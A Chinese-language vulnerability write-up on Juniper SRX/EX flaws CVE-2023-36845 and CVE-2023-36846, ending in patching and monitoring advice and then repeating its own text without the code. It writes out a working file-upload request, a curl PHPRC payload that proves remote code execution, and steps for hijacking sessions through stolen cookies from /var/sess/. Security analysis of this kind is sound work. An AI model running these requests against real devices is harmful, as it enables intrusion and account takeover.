Juniper新洞CVE-2023-36845浅析
字数 1035 2025-08-24 07:48:10

Juniper漏洞CVE-2023-36845深度分析与利用教学

漏洞概述

2023年8月17日,Juniper宣布了多个漏洞,包括与防火墙SRX和Switch EX相关的:

  • CVE-2023-36844
  • CVE-2023-36845
  • CVE-2023-36846
  • CVE-2023-36847
  • CVE-2023-36851

这些漏洞单独CVSS评分为5.3,但组合利用可达9.8分。其中CVE-2023-36845可单独实现远程代码执行(RCE)并获取管理员权限。

漏洞组合利用原理

公开PoC通常结合使用两个漏洞:

  1. CVE-2023-36846:用于上传可执行文件test.php和配置文件php.ini
  2. CVE-2023-36845:通过修改PHP的PHPRC环境变量,利用上传的php.ini执行test.php

漏洞验证与利用

文件上传验证

使用以下POST请求测试文件上传功能:

POST /webauth_operation.php HTTP/1.1
Host: target_host
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 92

rs=do_upload&rsargs[]=[{"fileName":"test.txt","fileData":",aGk=","csize":2}]

成功响应应返回200 OK,失败可能显示"function not callable"。

PHP代码执行

使用curl执行PHP代码:

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

此命令会执行phpinfo()函数,验证RCE是否可行。

命令执行限制

Juniper从7.5版本开始默认安装Veriexec工具,即使以root用户身份也无法执行某些基本命令,这是重要的防护机制。

高级利用技术

会话劫持

  1. 使用glob()函数读取/var/sess/目录获取会话文件列表
  2. 提取PHPSESSID或SECUREPHPSESSID
  3. 使用窃取的会话cookie登录web界面

SSH登录尝试

检查/var/sess/目录中是否存在sess-...文件:

  • 存在:可能可以登录(会话超时3600秒)
  • 不存在:无法登录

实际利用限制

  1. 版本差异可能导致利用不完全成功
  2. Veriexec防护机制限制了命令执行能力
  3. 会话劫持成功率受环境配置影响

防护建议

  1. 及时应用Juniper发布的安全补丁
  2. 限制对webauth_operation.php的访问
  3. 监控异常的文件上传和PHP环境变量修改行为
  4. 定期轮换会话凭证

参考资源

  1. 公开PoC代码库:

    • https://github.com/kljunowsky/CVE-2023-36845
    • https://github.com/r3dcl1ff/CVE-2023-36844_Juniper_RCE
  2. Juniper安全公告:参考官方发布的2023年8月17日安全公告

Juniper漏洞CVE-2023-36845深度分析与利用教学 漏洞概述 2023年8月17日,Juniper宣布了多个漏洞,包括与防火墙SRX和Switch EX相关的: CVE-2023-36844 CVE-2023-36845 CVE-2023-36846 CVE-2023-36847 CVE-2023-36851 这些漏洞单独CVSS评分为5.3,但组合利用可达9.8分。其中CVE-2023-36845可单独实现远程代码执行(RCE)并获取管理员权限。 漏洞组合利用原理 公开PoC通常结合使用两个漏洞: CVE-2023-36846 :用于上传可执行文件test.php和配置文件php.ini CVE-2023-36845 :通过修改PHP的PHPRC环境变量,利用上传的php.ini执行test.php 漏洞验证与利用 文件上传验证 使用以下POST请求测试文件上传功能: 成功响应应返回200 OK,失败可能显示"function not callable"。 PHP代码执行 使用curl执行PHP代码: 此命令会执行 phpinfo() 函数,验证RCE是否可行。 命令执行限制 Juniper从7.5版本开始默认安装Veriexec工具,即使以root用户身份也无法执行某些基本命令,这是重要的防护机制。 高级利用技术 会话劫持 使用 glob() 函数读取 /var/sess/ 目录获取会话文件列表 提取PHPSESSID或SECUREPHPSESSID 使用窃取的会话cookie登录web界面 SSH登录尝试 检查 /var/sess/ 目录中是否存在 sess-... 文件: 存在:可能可以登录(会话超时3600秒) 不存在:无法登录 实际利用限制 版本差异可能导致利用不完全成功 Veriexec防护机制限制了命令执行能力 会话劫持成功率受环境配置影响 防护建议 及时应用Juniper发布的安全补丁 限制对 webauth_operation.php 的访问 监控异常的文件上传和PHP环境变量修改行为 定期轮换会话凭证 参考资源 公开PoC代码库: https://github.com/kljunowsky/CVE-2023-36845 https://github.com/r3dcl1ff/CVE-2023-36844_ Juniper_ RCE Juniper安全公告:参考官方发布的2023年8月17日安全公告